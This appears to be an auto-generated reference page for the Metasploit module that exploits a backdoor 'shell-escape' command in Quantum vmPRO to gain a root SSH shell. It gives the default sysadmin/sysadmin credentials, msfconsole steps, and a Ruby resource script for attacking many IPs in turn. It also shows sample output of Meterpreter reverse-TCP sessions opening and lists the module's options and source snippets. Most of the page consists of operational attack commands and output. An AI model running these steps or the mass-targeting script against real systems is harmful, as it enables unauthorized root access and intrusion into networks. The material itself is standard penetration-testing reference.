Quantum vmPRO Backdoor Command - Metasploit
This page contains detailed information about how to use the exploit/linux/ssh/quantum_vmpro_backdoor metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Quantum vmPRO Backdoor Command
Module: exploit/linux/ssh/quantum_vmpro_backdoor
Source code: modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb
Disclosure date: 2014-03-17
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: -
Target network port(s): 22
List of CVEs: -
This module abuses a backdoor command in Quantum vmPRO. Any user, even one without admin privileges, can get access to the restricted SSH shell. By using the hidden backdoor "shell-escape" command it's possible to drop to a real root bash shell. This module has been tested successfully on Quantum vmPRO 3.1.2.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using quantum_vmpro_backdoor against a single host
Normally, you can use exploit/linux/ssh/quantum_vmpro_backdoor this way:
msf > use exploit/linux/ssh/quantum_vmpro_backdoor
msf exploit(quantum_vmpro_backdoor) > show targets
... a list of targets ...
msf exploit(quantum_vmpro_backdoor) > set TARGET target-id
msf exploit(quantum_vmpro_backdoor) > show options
... show and set options ...
msf exploit(quantum_vmpro_backdoor) > exploit
Using quantum_vmpro_backdoor against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your quantum_vmpro_backdoor will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/ssh/quantum_vmpro_backdoor")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
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Msfconsole Usage
Here is how the linux/ssh/quantum_vmpro_backdoor exploit module looks in the msfconsole:
msf6 > use exploit/linux/ssh/quantum_vmpro_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(linux/ssh/quantum_vmpro_backdoor) > show info
Name: Quantum vmPRO Backdoor Command
Module: exploit/linux/ssh/quantum_vmpro_backdoor
Platform: Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2014-03-17
Provided by:
xistence <[email protected]>
Available targets:
Id Name
-- ----
0 Quantum vmPRO 3.1.2
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASS sysadmin yes vmPRO SSH password
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 22 yes The target port
USER sysadmin yes vmPRO SSH user
Payload information:
Description:
This module abuses a backdoor command in Quantum vmPRO. Any user,
even one without admin privileges, can get access to the restricted
SSH shell. By using the hidden backdoor "shell-escape" command it's
possible to drop to a real root bash shell. This module has been
tested successfully on Quantum vmPRO 3.1.2.
References:
https://packetstormsecurity.com/files/125760
Module Options
This is a complete list of options available in the linux/ssh/quantum_vmpro_backdoor exploit:
msf6 exploit(linux/ssh/quantum_vmpro_backdoor) > show options
Module options (exploit/linux/ssh/quantum_vmpro_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
PASS sysadmin yes vmPRO SSH password
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 22 yes The target port
USER sysadmin yes vmPRO SSH user
Payload options (cmd/unix/interact):
Name Current Setting Required Description
---- --------------- -------- -----------
Exploit target:
Id Name
-- ----
0 Quantum vmPRO 3.1.2
Advanced Options
Here is a complete list of advanced options supported by the linux/ssh/quantum_vmpro_backdoor exploit:
msf6 exploit(linux/ssh/quantum_vmpro_backdoor) > show advanced
Module advanced options (exploit/linux/ssh/quantum_vmpro_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
SSH_DEBUG false no Enable SSH debugging output (Extreme verbosity!)
SSH_IDENT SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3 yes SSH client identification string
SSH_TIMEOUT 30 no Specify the maximum time to negotiate a SSH session
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/interact):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/ssh/quantum_vmpro_backdoor module can exploit:
msf6 exploit(linux/ssh/quantum_vmpro_backdoor) > show targets
Exploit targets:
Id Name
-- ----
0 Quantum vmPRO 3.1.2
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/ssh/quantum_vmpro_backdoor exploit:
msf6 exploit(linux/ssh/quantum_vmpro_backdoor) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/interact normal No Unix Command, Interact with Established Connection
Evasion Options
Here is the full list of possible evasion options supported by the linux/ssh/quantum_vmpro_backdoor exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/ssh/quantum_vmpro_backdoor) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<RHOST>:<RPORT> SSH - Disconnected during negotiation
Here is a relevant code snippet related to the "<RHOST>:<RPORT> SSH - Disconnected during negotiation" error message:
99: ssh = Net::SSH.start(rhost, user, opts)
100: end
101: rescue Rex::ConnectionError
102: return nil
103: rescue Net::SSH::Disconnect, ::EOFError
104: print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
105: return nil
106: rescue ::Timeout::Error
107: print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
108: return nil
109: rescue Net::SSH::AuthenticationFailed
<RHOST>:<RPORT> SSH - Timed out during negotiation
Here is a relevant code snippet related to the "<RHOST>:<RPORT> SSH - Timed out during negotiation" error message:
102: return nil
103: rescue Net::SSH::Disconnect, ::EOFError
104: print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
105: return nil
106: rescue ::Timeout::Error
107: print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
108: return nil
109: rescue Net::SSH::AuthenticationFailed
110: print_error "#{rhost}:#{rport} SSH - Failed authentication"
111: return nil
112: rescue Net::SSH::Exception => e
<RHOST>:<RPORT> SSH - Failed authentication
Here is a relevant code snippet related to the "<RHOST>:<RPORT> SSH - Failed authentication" error message:
105: return nil
106: rescue ::Timeout::Error
107: print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
108: return nil
109: rescue Net::SSH::AuthenticationFailed
110: print_error "#{rhost}:#{rport} SSH - Failed authentication"
111: return nil
112: rescue Net::SSH::Exception => e
113: print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
114: return nil
115: end
<RHOST>:<RPORT> SSH Error: <E.CLASS> : <E.MESSAGE>
Here is a relevant code snippet related to the "<RHOST>:<RPORT> SSH Error: <E.CLASS> : <E.MESSAGE>" error message:
108: return nil
109: rescue Net::SSH::AuthenticationFailed
110: print_error "#{rhost}:#{rport} SSH - Failed authentication"
111: return nil
112: rescue Net::SSH::Exception => e
113: print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
114: return nil
115: end
116:
117: if ssh
118: conn = Net::SSH::CommandStream.new(ssh, 'shell-escape')
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #11103 Merged Pull Request: Add CreateSession option to opt out of session creation in login modules
- #10456 Merged Pull Request: Remove SSH scanner using known_hosts
- #10374 Merged Pull Request: Net::SSH::CommandStream fixes implemented
- #9524 Merged Pull Request: prefer 'shell' channels over 'exec' channels for ssh CommandStream
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7339 Merged Pull Request: Bug/7321/fix ssh modules
- #7018 Merged Pull Request: Un-Vendor the net-ssh library
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6396 Merged Pull Request: Fix PACKETSTORM warnings; improve msftidy to catch more
- #5826 Merged Pull Request: use EXITFUNC instead of ExitFunction
- #3136 Merged Pull Request: Fixup release
- #3108 Merged Pull Request: Quantum vmPRO backdoor command
References
See Also
Check also the following modules related to this module:
- exploit/linux/ssh/quantum_dxi_known_privkey
- exploit/linux/ssh/ceragon_fibeair_known_privkey
- exploit/linux/ssh/cisco_ucs_scpuser
- exploit/linux/ssh/exagrid_known_privkey
- exploit/linux/ssh/f5_bigip_known_privkey
- exploit/linux/ssh/ibm_drm_a3user
- exploit/linux/ssh/loadbalancerorg_enterprise_known_privkey
- exploit/linux/ssh/mercurial_ssh_exec
- exploit/linux/ssh/microfocus_obr_shrboadmin
- exploit/linux/ssh/solarwinds_lem_exec
- exploit/linux/ssh/symantec_smg_ssh
- exploit/linux/ssh/vmware_vdp_known_privkey
- exploit/linux/ssh/vyos_restricted_shell_privesc
- exploit/linux/http/webmin_backdoor
- exploit/linux/misc/netcore_udp_53413_backdoor
- exploit/multi/http/horde_href_backdoor
- exploit/multi/http/phpmyadmin_3522_backdoor
- exploit/multi/local/allwinner_backdoor
- exploit/unix/ftp/proftpd_133c_backdoor
- exploit/unix/ftp/vsftpd_234_backdoor
- exploit/unix/irc/unreal_ircd_3281_backdoor
- exploit/unix/webapp/mybb_backdoor
- exploit/windows/http/hp_openview_insight_backdoor
- exploit/apple_ios/ssh/cydia_default_ssh
- exploit/multi/ssh/sshexec
- exploit/solaris/ssh/pam_username_bof
- exploit/unix/ssh/arista_tacplus_shell
- exploit/unix/ssh/array_vxag_vapv_privkey_privesc
- exploit/unix/ssh/tectia_passwd_changereq
- exploit/windows/ssh/freeftpd_key_exchange
- exploit/windows/ssh/freesshd_authbypass
- exploit/windows/ssh/freesshd_key_exchange
- exploit/windows/ssh/putty_msg_debug
- exploit/windows/ssh/securecrt_ssh1
- exploit/windows/ssh/sysax_ssh_username
Authors
- xistence <xistence[at]0x90.nl>
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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